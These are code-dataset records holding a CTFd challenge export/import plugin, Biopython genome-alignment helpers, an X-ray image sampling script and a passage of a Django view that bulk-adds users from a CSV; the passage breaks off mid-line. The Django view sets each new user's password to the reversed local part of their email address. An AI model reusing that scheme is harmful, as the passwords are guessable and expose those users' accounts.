(KeyError, AttributeError, TypeError):\n        return abort(400)\n\n    challenge = Challenges.query.get(challenge_id)\n    # print(f'{challenge_id}, {action}, {challenge}')\n\n    if not challenge:\n        return abort(404)\n\n    if action == 'download':\n        uploads_folder = os.path.join(\n            os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))), 'uploads')\n        challenge_json = serialize(challenge)\n        files_paths = [os.path.join(uploads_folder, x.location) for x in challenge.files]\n        file_name = f'{challenge.name}.zip'\n        folder_name = uuid.uuid4().hex\n        os.makedirs(os.path.join(uploads_folder, folder_name))\n\n        archive = BytesIO()\n        with ZipFile(archive, 'w', ZIP_DEFLATED, False) as z:\n            z.writestr('challenge.json', json.dumps(challenge_json))\n            for file_path in files_paths:\n                z.write(file_path, os.path.join('files', os.path.basename(file_path)))\n\n        location = f'{folder_name}/{file_name}'\n        with open(os.path.join(uploads_folder, location), 'wb+') as f:\n            f.write(archive.getvalue())\n        archive.close()\n\n        previous_file = Files.query.filter(Files.location.contains(file_name)).first()\n        if previous_file:\n            delete_file(previous_file.id)\n\n        file = Files(type=\"standard\", location=location)\n        db.session.add(file)\n\n        db.session.commit()\n        db.session.close()\n        return redirect(url_for(\"views.files\", path=location))\n    else:\n        return abort(404)\n\n\n@admins_only\ndef challenge_upload():\n    if request.method == 'GET':\n        form = ChallengeUploadForm()\n        return render_template('challenge_upload.html', form=form)\n    else:\n        for challenge_zip in request.files.getlist('challenge_zips'):\n            with ZipFile(challenge_zip) as z:\n                challenge_config = json.loads(z.read('challenge.json'))\n                file_names = [x for x in z.namelist() if x.startswith('files')]\n\n                files = []\n                for file_name in file_names:\n                    file_obj = BytesIO(z.read(file_name))\n                    file_obj.filename = file_name.split('/')[-1]\n                    files.append(file_obj)\n\n            schema = ChallengeSchema()\n            challenge_data = {k: v for k, v in challenge_config.items() if type(v) not in (dict, list)}\n            response = schema.load(challenge_data)\n            if response.errors:\n                return abort(400)\n\n            challenge_class = get_chal_class(challenge_data[\"type\"])\n            challenge = challenge_class.challenge_model(**challenge_data)\n            db.session.add(challenge)\n            db.session.commit()\n\n            for file_obj in files:\n                upload_file(file=file_obj, challenge_id=challenge.id, type='challenge')\n\n            flags_data = challenge_config.get('flags') or []\n            for flag_data in flags_data:\n                flag_data['challenge_id'] = challenge.id\n                schema = FlagSchema()\n                response = schema.load(flag_data, session=db.session)\n                db.session.add(response.data)\n\n            hints_data = challenge_config.get('hints') or []\n            for hint_data in hints_data:\n                hint_data['challenge_id'] = challenge.id\n                schema = HintSchema(view=\"admin\")\n                response = schema.load(hint_data, session=db.session)\n                db.session.add(response.data)\n\n            comments_data = challenge_config.get('comments') or []\n            for comment_data in comments_data:\n                comment_data['challenge_id'] = challenge.id\n                comment_data['author_id'] = session[\"id\"]\n                CommentModel = get_comment_model(data=comment_data)\n                comment = CommentModel(**comment_data)\n                db.session.add(comment)\n\n            tags_data = challenge_config.get('tags') or []\n            for tag_data in tags_data:\n                tag_data['challenge_id'] = challenge.id\n                schema = TagSchema()\n                response = schema.load(tag_data, session=db.session)\n                db.session.add(response.data)\n            db.session.commit()\n            db.session.close()\n\n        return redirect(url_for('admin.challenges_listing'))\n\n\n\ndef load(app):\n    override_template('challenge_download_list.html', open(get_template_path('challenge_download_list.html')).read())\n    override_template('challenge_upload.html', open(get_template_path('challenge_upload.html')).read())\n\n    app.route('/admin/challenge_upload', methods=['GET', 'POST'])(challenge_upload)\n    app.route('/admin/challenge_download')(challenge_download_list)\n    app.route('/admin/challenge_download/challenge', methods=['POST'])(challenge_download_challenge)\n", "repo_name": "me-gusta/ctfd_plugins", "sub_path": "challenge_download/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 6107, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "CTFd.models.Challenges.query.all", "line_number": 27, "usage_type": "call"}, {"api_name": "CTFd.models.Challenges.query", "line_number": 27, "usage_type": "attribute"}, {"api_name": "CTFd.models.Challenges", "line_number": 27, "usage_type": "name"}, {"api_name": "CTFd.plugins.challenge_download.forms.ChallengeDownloadForm", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}, {"api_name": "CTFd.utils.decorators.admins_only", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.abort", "line_number": 38, "usage_type": "call"}, {"api_name": "CTFd.models.Challenges.query.get", "line_number": 40, "usage_type": "call"}, {"api_name": "CTFd.models.Challenges.query", "line_number": 40, "usage_type": "attribute"}, {"api_name": "CTFd.models.Challenges", "line_number": 40, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.abort", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 48, "usage_type": "call"}, {"api_name": "CTFd.plugins.challenge_download.serializers.serialize", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 52, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 55, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 56, "usage_type": "call"}, {"api_name": "zipfile.ZIP_DEFLATED", "line_number": 56, "usage_type": "argument"}, {"api_name": "json.dumps", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "CTFd.models.Files.query.filter", "line_number": 66, "usage_type": "call"}, {"api_name": "CTFd.models.Files.query", "line_number": 66, "usage_type": "attribute"}, {"api_name": "CTFd.models.Files", "line_number": 66, "usage_type": "name"}, {"api_name": "CTFd.models.Files.location.contains", "line_number": 66, "usage_type": "call"}, {"api_name": "CTFd.models.Files.location", "line_number": 66, "usage_type": "attribute"}, {"api_name": "CTFd.utils.uploads.delete_file", "line_number": 68, "usage_type": "call"}, {"api_name": "CTFd.models.Files", "line_number": 70, "usage_type": "call"}, {"api_name": "CTFd.models.db.session.add", "line_number": 71, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 71, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 71, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.commit", "line_number": 73, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 73, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 73, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.close", "line_number": 74, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 74, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 75, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.abort", "line_number": 77, "usage_type": "call"}, {"api_name": "CTFd.utils.decorators.admins_only", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "CTFd.plugins.challenge_download.forms.ChallengeUploadForm", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 84, "usage_type": "call"}, {"api_name": "flask.request.files.getlist", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 87, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 88, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 93, "usage_type": "call"}, {"api_name": "CTFd.schemas.challenges.ChallengeSchema", "line_number": 97, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.abort", "line_number": 101, "usage_type": "call"}, {"api_name": "CTFd.plugins.challenges.get_chal_class", "line_number": 103, "usage_type": "call"}, {"api_name": "CTFd.models.db.session.add", "line_number": 105, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 105, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 105, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.commit", "line_number": 106, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 106, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 106, "usage_type": "name"}, {"api_name": "CTFd.utils.uploads.upload_file", "line_number": 109, "usage_type": "call"}, {"api_name": "CTFd.schemas.flags.FlagSchema", "line_number": 114, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 115, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 115, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.add", "line_number": 116, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 116, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 116, "usage_type": "name"}, {"api_name": "CTFd.schemas.hints.HintSchema", "line_number": 121, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 122, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 122, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.add", "line_number": 123, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 123, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 128, "usage_type": "name"}, {"api_name": "CTFd.api.v1.comments.get_comment_model", "line_number": 129, "usage_type": "call"}, {"api_name": "CTFd.models.db.session.add", "line_number": 131, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 131, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 131, "usage_type": "name"}, {"api_name": "CTFd.schemas.tags.TagSchema", "line_number": 136, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 137, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 137, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.add", "line_number": 138, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 138, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 138, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.commit", "line_number": 139, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 139, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 139, "usage_type": "name"}, {"api_name": "CTFd.models.db.session.close", "line_number": 140, "usage_type": "call"}, {"api_name": "CTFd.models.db.session", "line_number": 140, "usage_type": "attribute"}, {"api_name": "CTFd.models.db", "line_number": 140, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 142, "usage_type": "call"}, {"api_name": "CTFd.utils.decorators.admins_only", "line_number": 80, "usage_type": "name"}, {"api_name": "CTFd.plugins.override_template", "line_number": 147, "usage_type": "call"}, {"api_name": "CTFd.plugins.challenge_download.util.get_template_path", "line_number": 147, "usage_type": "call"}, {"api_name": "CTFd.plugins.override_template", "line_number": 148, "usage_type": "call"}, {"api_name": "CTFd.plugins.challenge_download.util.get_template_path", "line_number": 148, "usage_type": "call"}]}
{"seq_id": "12692035589", "text": "# -*- coding: utf-8 -*-\n\nimport argparse\nimport csv\nfrom Bio.Blast.Applications import NcbitblastxCommandline\nfrom Bio import SeqFeature, SeqIO\nimport re\nfrom time import localtime, strftime\nfrom pathlib import Path\nimport sys\n\n\n\ndef current_time():\n    \"\"\"Returns the current time. When this function was executed.\"\"\"\n    return str(strftime(\"%Y-%m-%d %H:%M:%S\", localtime()))\n\n\ndef get_args():\n\n    parser = argparse.ArgumentParser(description=\"Create the necessary files to Visualize genome alignments\",epilog=\"--------------------------\")\n    parser.add_argument(\"--order-file\", help=\"Optional input file specifying order of the genomes in the figure. Genome record names should be listed on separate lines in order from top to bottom (as it will appear in the figure).\", default=False)\n    parser.add_argument(\"--evalue\", default=\"1e-5\", help=\"evalue for blast searches. Default is %(default)s.\")\n\n    args = parser.parse_args()\n    \n    return args\n\n\n    \n    \n## Input: an integer or symbol\n## Return type: string\n## Use:Given an integer, output +,-,0 depending on it's value. Or N/A if not an int.\n##     (For converting Bipython strand output to a symbol).\ndef strand(int1):\n    feature_strand =  \"None\"\n    \n    if type(int1) == int:\n        if int1 > 0:\n            feature_strand = \"+\"\n        elif int1 < 0:\n            feature_strand = \"-\"\n        else:\n            feature_strand = \"0\"\n    else:\n        feature_strand = \"None\"\n    \n    return feature_strand\n\n## Input: A biopython SeqFeature\n## Return Type: Boolean\n## Use: reports True if Feature type is not \"gene\" (not incl. pseudogenes) or \"source\"\ndef type_filter(seqFeature1):\n    \n    if type(seqFeature1) == SeqFeature.SeqFeature:\n        \n        if seqFeature1.type != \"gene\" and seqFeature1.type != \"source\" :\n            return True\n        elif \"pseudo\" in seqFeature1.qualifiers:\n            return True\n        else:\n            return False\n    else:\n        return False\n\n## Input: a Biopython SeqFeature\n## Return type: String\n## Use: return a string of the SeqFeature type \n##      Differs from SeqFeature.type because it includes 'pseudogene' as a type\ndef feature_type(seqFeature1):\n    \n    feature_type = \"N/A\"\n    \n    if type(seqFeature1) == SeqFeature.SeqFeature:\n        \n        if seqFeature1.type != \"gene\":\n            feature_type = seqFeature1.type\n        else:\n            if \"pseudo\" in seqFeature1.qualifiers:\n                feature_type = \"pseudogene\"\n            else:\n                feature_type = seqFeature1.type\n\n    \n    return feature_type\n\n\n## Input: a Biopython SeqFeature\n## Return type: String\n## Use: return a string of the SeqFeature gene name if one exists.\n##      Use locus_tag otherwise.\ndef get_gene(seqFeature1):\n    \n    gene_name = \"N/A\"\n    \n    if type(seqFeature1) == SeqFeature.SeqFeature:\n        \n        if \"gene\" in seqFeature1.qualifiers:\n            gene_name = str(seqFeature1.qualifiers[\"gene\"][0])\n        else:\n            if \"locus_tag\" in seqFeature1.qualifiers:\n                gene_name = str(seqFeature1.qualifiers[\"locus_tag\"][0])\n            \n    return gene_name\n\n\n## Input: a Biopython SeqFeature\n## Return type: Integer\n## Use: returns an Integer of SeqFeature start position shifted by shift\n##      Use locus_tag otherwise.\ndef start_position_shift(seqFeature1, shift):\n    \n    feature_start = -100\n    \n    if type(seqFeature1) == SeqFeature.SeqFeature:\n        feature_start = seqFeature1.location.start + shift\n            \n    return feature_start\n\ndef get_dir_records(directory_name):\n\n    if directory_name[-1] != \"/\":\n        directory_name += \"/\"\n    record_names=[]        # record names from genbank files\n    genome_sizes = {}     #genome sizes in base pairs from genbank files\n    records = []\n    entries = Path(directory_name)\n    for entry in entries.iterdir():\n        gb_file = directory_name + entry.name\n        for gb_record in SeqIO.parse(open(gb_file, \"r\"), \"genbank\"):  #In case of multiple records\n            record_names.append(gb_record.name.strip())\n            genome_sizes[gb_record.name.strip()] = len(gb_record.seq)\n            records.append(gb_record)\n    \n    return records, record_names, genome_sizes\n    \n\ndef genbank_to_fasta(genbank_record, out_fasta):\n    \n    x = re.split(\"\\/\", out_fasta)\n    x = x[-1]\n    print('%s\\tCreating %s' % (current_time(), x)),\n    sys.stdout.flush()\n    \n    with open(out_fasta, \"w\") as f:\n        SeqIO.write(genbank_record, f, \"fasta\")\n    \n    \n\n\ndef create_gene_info_csv(gb_record, out_csv):\n    \n    record_names=[]        # record names from genbank files\n    genome_sizes = {}     #genome sizes in base pairs from genbank files\n  \n    recordName = gb_record.name.strip()\n    record_names.append(recordName)\n    genome_sizes[recordName] = len(gb_record.seq)\n    \n    x = re.split(\"\\/\", out_csv)\n    x = x[-1]\n    print('%s\\tCreating gene info file: %s' % (current_time(), x)),\n    sys.stdout.flush()\n    \n    with open(out_csv, mode=\"w\", newline=\"\") as gene_file:  ##newline=\"\" to remove blanks b/w lines\n      \n        gene_writer = csv.writer(gene_file, delimiter=',')\n        for feature in gb_record.features:\n            \n            if type_filter(feature):    #if not gene or source\n                ##get strand symbol\n                feature_strand = strand(feature.strand)\n                ## get feature type. \n                featuretype = feature_type(feature)\n                ## get gene name\n                feature_gene = get_gene(feature)\n                ## get feature start location, shifted by 1\n                feature_start = start_position_shift(feature, 1)\n                        \n                gene_writer.writerow([feature_start, feature.location.end, featuretype, feature_strand, feature_gene])\n    return record_names, genome_sizes\n\ndef get_genome_order(record_names, order_file):\n    if len(record_names) == 0:\n        print(\"ERROR: Genbank folder is empty, or genbank files do not meet specs\"),\n        sys.stdout.flush()\n    genome_order = []\n    if order_file:\n        with open(order_file, \"r\") as f:\n            order_list = [line.strip() for line in f]\n            for record in order_list:\n                if record in record_names:\n                    genome_order.append(record)\n        if len(genome_order) == 0:\n            print(\"ERROR: Order file is empty, does not meet specs, or does not have any matching record names from genbank files.\"),\n            sys.stdout.flush()\n    else:\n        genome_order = record_names\n    \n    return genome_order\n\ndef create_connections_csv(input_tsv,out_csv):\n    \n    x = re.split(\"\\/\", out_csv)\n    x = x[-1]\n    print('%s\\tCreating connections file: %s' % (current_time(), x)),\n    sys.stdout.flush()\n    \n    with open(out_csv, mode=\"w\", newline=\"\") as connections_file:\n        connections_writer = csv.writer(connections_file, delimiter=',')\n        with open(input_tsv, mode=\"r\") as tsvfile:\n            reader =  csv.reader(tsvfile, delimiter='\\t')\n            sign1 = \"0\"\n            sign2 = \"0\"\n            for row in reader:\n                if int(row[7]) > 0:\n                    sign1 = \"+\"\n                elif int(row[7]) < 0:\n                    sign1 = \"-\"\n                if int(row[8]) > 0:\n                    sign2 = \"+\"\n                elif int(row[8]) < 0:\n                    sign2 = \"-\"\n                connections_writer.writerow([row[2], row[3], sign1, row[4], row[5], sign2])\n\n\n    \n\n\n\ndef run_tblastx(args, query_fasta, subject_fasta, out_tsv):\n    \"\"\"Run BLASTX with query FASTA file and subject FASTA file.\"\"\"\n    \n    x = re.split(\"\\/\", query_fasta)\n    x = x[-1]\n    y = re.split(\"\\/\", subject_fasta)\n    y = y[-1]\n\n    print('%s\\ttBlastX executed with %s evalue cutoff. Query: %s. Subject: %s.' % (current_time(), args.evalue, x, y)),\n    sys.stdout.flush()\n\n    tblastx_cline = NcbitblastxCommandline(query=query_fasta,\n                                         subject=subject_fasta,\n                                         evalue=args.evalue,\n                                         outfmt=\"\\'6 qseqid sseqid qstart qend \"\n                                                \"sstart send evalue qframe sframe\\'\",\n                                         out=out_tsv)\n    tblastx_cline()\n\n    \n    \n    \n    \n    \n", "repo_name": "filip-husnik/genome-plots-processing", "sub_path": "input_maker/modules/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 8260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.strftime", "line_number": 16, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 16, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "Bio.SeqFeature.SeqFeature", "line_number": 56, "usage_type": "attribute"}, {"api_name": "Bio.SeqFeature", "line_number": 56, "usage_type": "name"}, {"api_name": "Bio.SeqFeature.SeqFeature", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Bio.SeqFeature", "line_number": 75, "usage_type": "name"}, {"api_name": "Bio.SeqFeature.SeqFeature", "line_number": 97, "usage_type": "attribute"}, {"api_name": "Bio.SeqFeature", "line_number": 97, "usage_type": "name"}, {"api_name": "Bio.SeqFeature.SeqFeature", "line_number": 116, "usage_type": "attribute"}, {"api_name": "Bio.SeqFeature", "line_number": 116, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 128, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 131, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 131, "usage_type": "name"}, {"api_name": "re.split", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 144, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 144, "usage_type": "attribute"}, {"api_name": "Bio.SeqIO.write", "line_number": 147, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 147, "usage_type": "name"}, {"api_name": "re.split", "line_number": 161, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 164, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 164, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 168, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 187, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 187, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 197, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 197, "usage_type": "attribute"}, {"api_name": "re.split", "line_number": 205, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 208, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 208, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 211, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 213, "usage_type": "call"}, {"api_name": "re.split", "line_number": 235, "usage_type": "call"}, {"api_name": "re.split", "line_number": 237, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 241, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 241, "usage_type": "attribute"}, {"api_name": "Bio.Blast.Applications.NcbitblastxCommandline", "line_number": 243, "usage_type": "call"}]}
{"seq_id": "32743930210", "text": "import matplotlib.pyplot as plt\nimport h5py\nimport random\nfrom knn import *\nimport glob\nimport cv2\n#\nh5f_train = h5py.File('/data/hula/tanay/Codes/ChestX/image_retrieval/chest_xray/ResNet-50/features_no_normal_test.h5', 'r')\nx_test = h5f_train['X_test'][:]\ny_test = h5f_train['Y_test'][:]\nfeatures = h5f_train['features'][:]\nh5f_train.close()\n\nit = range(y_test.shape[0])\ndata = zip(it, y_test)\nrandom.seed(110)\nrandom.shuffle(data)\n\n\n# for i in range(14):\n#     for it, label in data:\n#         if label[i] == 1:\n#             if not it in img:\n#                 img.append(it)\n#                 break\n\nfor i in range(13):\n    img = []\n    count=0\n    for it, label in data:\n        if label[i] == 1:\n            if not it in img:\n                img.append(it)\n                count+=1\n        if count>=64:\n            break\n    testX = x_test[img, :]\n    testY = y_test[img, :]\n    testF = features[img, :]\n    h5f = h5py.File('/data/hula/tanay/Codes/ChestX/image_retrieval/chest_xray/retrieved_images/realimg_cond_'+str(i)+'.h5', 'w')\n    h5f.create_dataset('X_test', data=testX)\n    h5f.create_dataset('Y_test', data=testY)\n    h5f.create_dataset('features', data=testF)\n    h5f.close()\n# conditions = ['Atelectasis', 'Cardiomegaly', 'Effusion', 'Infiltration', 'Mass', 'Nodule', 'Pneumonia',\n#               'Pneumothorax', 'Consolidation', 'Edema', 'Emphysema', 'Fibrosis', 'Pleural_Thickening', 'Hernia']\n\n# fig = plt.figure()\n# for i in range(14):\n#     img = cv2.imread('/data/hula/tanay/Codes/ChestX/image_retrieval/chest_xray/retrieved_images/test_img_'+str(i)+'.png')\n#     img_plot = img[:, :, 0]\n#     plt.subplot(6, 14, i+1)\n#     plt.title(conditions[i])\n#     plt.axis('off')\n#     plt.imshow(img_plot, cmap='gray')\n#\n#\n# for i in range(14):\n#     files = glob.glob('/data/hula/tanay/Codes/ChestX/image_retrieval/chest_xray/retrieved_images/test_img_'+str(i)+'_*')\n#     files.sort()\n#\n#     for j, file in enumerate(files):\n#         img = cv2.imread(file)\n#         img_plot = img[:, :, 0]\n#         plt.subplot(6, 14, (i+1)+(j+1)*14)\n#         plt.title(conditions[i])\n#         plt.axis('off')\n#         plt.imshow(img_plot, cmap='gray')\n# plt.show()\n\n\nh5f_train = h5py.File('/data/hula/tanay/CXR8/chest256_train_801010_no_normal.h5', 'r')\n# x_test = h5f_train['X_train'][:]\ny_test = h5f_train['Y_train'][:]\nh5f_train.close()\n\ndir_path_train = '/data/hula/tanay/CXR8/gan_fm_data.h5'\nh5f_test = h5py.File(dir_path_train, 'r')\n# x_train2 = h5f_test['X_train'][:]\n# x_train2 = (128 * x_train2 + 128) / 255\ny_train2 = h5f_test['Y_train'][:]\nh5f_test.close()\n\n# labels = np.concatenate((y_test, y_train2))\nimages = np.sum(y_test, axis=0)\n\nprint(images/float(y_test.shape[0]))", "repo_name": "tanay-s/Thesis", "sub_path": "image_retrieval/plot_images.py", "file_name": "plot_images.py", "file_ext": "py", "file_size_in_byte": 2693, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "h5py.File", "line_number": 8, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 16, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 17, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 40, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 72, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "74339463290", "text": "from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Group\nUser = get_user_model()\nfrom django.contrib import auth, messages\nfrom django.db import transaction\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django import forms\nfrom django.shortcuts import render, redirect, get_object_or_404\n\nfrom accounts.forms import UserModelForm\nfrom collection.models import Collection, CollectionGroup, CollectionGroupUser, CollectionUser\nfrom datasets.models import Dataset, DatasetUser\nfrom datasets.static.hashes import mimetypes_plus as mthash_plus\nimport codecs, json, os, re, sys, tempfile\nimport pandas as pd\n\n# @login_required\n# validate CollectionGroup member file upload\ndef validate_usersfile(tempfn, cg):\n  print('validate_usersfile() tempfn', tempfn)\n  User = get_user_model()\n  # wd=os.getcwd()+'/_scratch/'\n  r_email = re.compile(r'([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\\.[A-Z|a-z]{2,})+')\n  def emailValid(email):\n    return True if re.fullmatch(r_email, email) else False\n  # buckets\n  result = {\"status\":'validated', \"errors\": [], \"create_add\": [],\n            'just_add': [], 'already': []}\n  import csv\n  with open(tempfn, newline='') as csvfile:\n    reader = csv.reader(csvfile, delimiter=',',\n                        skipinitialspace=True)\n    for i, row in enumerate(reader):\n      try:\n        print('i, row', i, row)\n        # delimited with comma? return for resubmit\n        if len(row) != 2:\n          result['errors'].append('row #'+str(i+1)+' not delimited with comma')\n          result['status'] = 'failed'\n          print(result)\n        else:\n          # 1st term valid email?\n          if not emailValid(row[0]):\n            result['errors'].append(\n              'invalid email on row #'+str(i+1)+': '+row[0])\n          # is name blank?\n          if row[1] == '':\n            result['errors'].append('no name for row #' + str(i+1))\n          # if errors, return them\n          if len(result['errors']) > 0:\n            result['status'] = 'failed'\n          else:\n            # no format errors\n            # user exists? in this group?\n            user = User.objects.filter(email=row[0])\n            members = [u.user_id for u in cg.members.all()]\n            if user.exists():\n              in_group = user[0].id in members\n              if in_group:\n                result['already'].append(row)\n              else:\n                result['just_add'].append(row)\n            else:\n              result['create_add'].append(row)\n      except:\n        raise\n  # print('validate result', result)\n  return result\n\ndef add_to_group(cg, member):\n  print('add_to_group', cg, member)\n  cguser = CollectionGroupUser.objects.create(\n    role='member',\n    collectiongroup=cg,\n    user=member\n  )\n  cguser.save()\n\n@login_required\ndef addusers(request):\n  if request.method == 'POST':\n    action = request.POST['action'] # 'upload' or 'addem'\n    print('addusers() request.POST', request.POST)\n    cgid = request.POST['cgid']\n    cg=get_object_or_404(CollectionGroup, id=cgid)\n    created_count = 0\n    only_joined_count = 0\n    new_members=[]\n\n    # VALIDATION\n    if action == 'upload':\n      print('in addusers(), upload')\n      print('addusers() request.FILES', request.FILES)\n        # uploaded file\n      file = request.FILES['file']\n      mimetype = file.content_type\n      tempf, tempfn = tempfile.mkstemp()\n      # write it to a tmp location\n      try:\n        for chunk in file.chunks():\n          os.write(tempf, chunk)\n      except:\n        raise Exception(\"Problem opening/writing input file\")\n      finally:\n        os.close(tempf)\n\n      print('addusers() tempfn', tempfn)\n      # validate file and return results\n      result = validate_usersfile(tempfn, cg)\n      print('validation result', result)\n    elif action == 'addem':\n      try:\n        # process 'create_add' and 'just_add'\n        create_add = json.loads(request.POST['create_add']) or None\n        just_add = json.loads(request.POST['just_add']) or None\n        print('just_add',just_add)\n        print('create_add',create_add)\n        # return\n        # create new\n        if create_add:\n          for u in create_add:\n            print('u', u)\n            new_user = User.objects.create(\n              email = u[0],\n              name = u[1],\n              # email name reversed\n              password = re.match('^(.*)@', u[0]).group(1)[::-1]\n            )\n            new_user.save()\n            add_to_group(cg,new_user)\n            created_count +=1\n            new_members.append([u[0], u[1], new_user.id])\n        # add all to group\n        if just_add:\n          for u in just_add:\n            user=User.objects.get(email=u[0])\n            print('user', user)\n            add_to_group(cg, user)\n            new_members.append([u[0], u[1], user.id])\n            # cguser = 